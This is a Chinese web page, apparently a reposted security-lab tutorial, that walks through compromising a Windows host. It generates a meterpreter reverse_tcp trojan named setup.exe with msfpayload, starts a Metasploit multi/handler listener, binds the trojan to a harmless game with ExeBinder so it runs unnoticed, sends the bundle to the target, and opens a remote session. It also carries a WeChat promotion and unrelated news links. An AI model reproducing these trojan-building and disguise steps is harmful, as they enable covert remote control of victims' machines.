天天短訊!Kali滲透Windows服務器
這個實驗主要讓我們學習漏洞掃描技術基本原理,了解其在網絡攻防中的作用,掌握使用Kali中的Metasploit對目標主機滲透,并根據報告做出相應的防護措施。
本次實戰環境:Kali滲透Windows服務器
實戰步驟一
(資料圖)
本實驗通過利用kali進行漏洞掃描,使用Metasploit對目標主機進行滲透測試,并根據報告做出相應的防護措施,共分為3個實驗步驟,詳情如下;
1、 實戰步驟一:生成setup.exe后門程序,即木馬程序。
(1) 打開kali終端,輸入ifconfig, 得到本機ip為192.168.189.130。
如下圖:
(2)輸入以下命令,使用msfpayload生成名為setup的后門程序:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.189.130 x > setup.exe 如下圖:
(3) 進入setup.exe所在目錄,修改屬性:選擇“允許以程序執行文件”。
如下圖所示:
(4) 終端中輸入首先msfconsole;然后輸入use exploit/multi/handler來加載 exploit/multi/handler 模塊;輸入set LHOST 192.168.189.130來設置本地主機;然后輸入exploit -z -j開始監聽,如下圖所示:
實戰步驟二
將上面生成的木馬程序與某個軟件進行捆綁。
【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖 ② 60+網安經典常用工具包 ③ 100+SRC漏洞分析報告 ④ 150+網安攻防實戰技術電子書 ⑤ 最權威CISSP 認證考試指南+題庫 ⑥ 超1800頁CTF實戰技巧手冊 ⑦ 最新網安大廠面試題合集(含答案) ⑧ APP客戶端安全檢測指南(安卓+IOS)
(1)可以在windows系統下使用exe捆綁軟件將setup.exe和一個其他的某個安全軟件合并為一個軟件,這樣在運行軟件時兩個軟件同時運行,不會引起注意。在tools里面進入名為exekunbang的文件,先打開ExeBinder.exe捆綁軟件。選擇第一個要合并的軟件,默認選擇本軟件中自帶的小游戲程序:
點擊下一步,選擇第二個要捆綁的軟件,即之前生成的木馬程序setup.exe:
點擊下一步,選擇一個文件要保存的路徑:
繼續點擊下一步,開始捆綁軟件:
(2) 將捆綁后的軟件發送給目標主機。
實戰步驟三
檢測目標主機,對目標主機進行滲透測試。
(2) 目標主機執行程序后,在kali終端中的檢測程序會及時檢測到。在檢測到目標主機運行程序后,后門程序會反向連接到msf,之后msf發起第二次攻擊(開始滲透),然后客戶端(后門程序)連接到服務端(msf)。輸入sessionss:
可以看到目標主機的ip為192.168.189.129,
(2)再繼續輸入sessions -i 1,之后可以對目標主機進行一系列的操作。如輸入sysinfo可知道目標主機的系統信息;輸入 getuid查看對方正在運行的用戶。
要養成多思考多總結的習慣,對實驗結果多去分析,這樣回收獲更多。比如如何利用kali進行漏洞掃描;如何使用Metasploit對目標主機進行滲透測試;這些都是這次實戰后可以去思考的。
更多網安技能的在線實操練習,請點擊這里>>
關鍵詞:
您可能也感興趣:
為您推薦
機票里面包含保險嗎?飛機保險有必要買嗎?
遼寧擴大緩繳社保費政策實施范圍 補繳期間免收滯納金
近十年財險業務快速發展 財產保險業風險保障水平不提升
排行
最近更新
- 天天短訊!Kali滲透Windows服務器
- 臨縣:加快“數字鄉村”建設 助力鄉村全面振興 每日觀點
- 今日觀點!四川省各地招生考試機構咨詢電話一覽2023
- 洪城環境: 江西洪城環境股份有限公司獨立董事關于第八屆董事...
- 冷宮傳電視劇_冷宮帝姬上
- 機票燃油附加費年內第三次下調:6月5日起單程最低20元 世界資訊
- 榮耀Magic4超值優惠 稀缺時刻搶購
- 聆達股份:擬91.5億元投建高效光伏電池片產業基地
- 速訊:2023新一線城市名單官宣,北方城市僅占四席
- 弒母者吳謝宇的心理檔案
- 川渝地區優質房地產開發項目對外招商
- 今日熱文:ideapad(y580)
- 《三分野》封俊是誰扮演的 封俊和向園是怎么回事?_全球視點
- 寒冰射手皮膚大全_寒冰射手皮膚_全球球精選
- 健康中國·未來家園 | 2023東方禪心健康暨療愈事業國際高峰...
- 1千瓦等于多少電流_1千瓦等于多少兆瓦 1兆瓦又等于多少千瓦
- t5687時刻表_t56晚點嗎
- 天壇辦公科研院定制空間 | 簡約之中存有大美
- 快訊!克宮:“莫斯科遭無人機襲擊”事件已匯報給普京 當前短訊
- 當前時訊:上門取件和自行寄回有什么區別(上門取件)
- 今頭條!尚格云頓的全部電影(尚格云頓電影大全)
- 今日快看!四川省內江市資中縣重龍鎮郵編_四川內江市資中縣郵編
- 右拾遺是什么官(右拾遺)-環球精選
- 閑魚怎么賣東西流程(咸魚怎么賣東西)
- 恒娖長公主結局(恒娖公主回宮哪一集簡介介紹)
- “多彩貴州·匠心珍品”(杭州)產銷對接推介會暨貴薈館·貴杭薈開館
- 每日熱議!美杜莎女王(菲利普親王吃過女王的醋嗎)
- 全球銷量突破1200萬,感恩回饋,江鈴福順官方降價,機不可失!!
- 全球速訊:油炸豆腐泡怎么做好吃?
- 祁陽油豆腐炒肉的做法?-焦點熱聞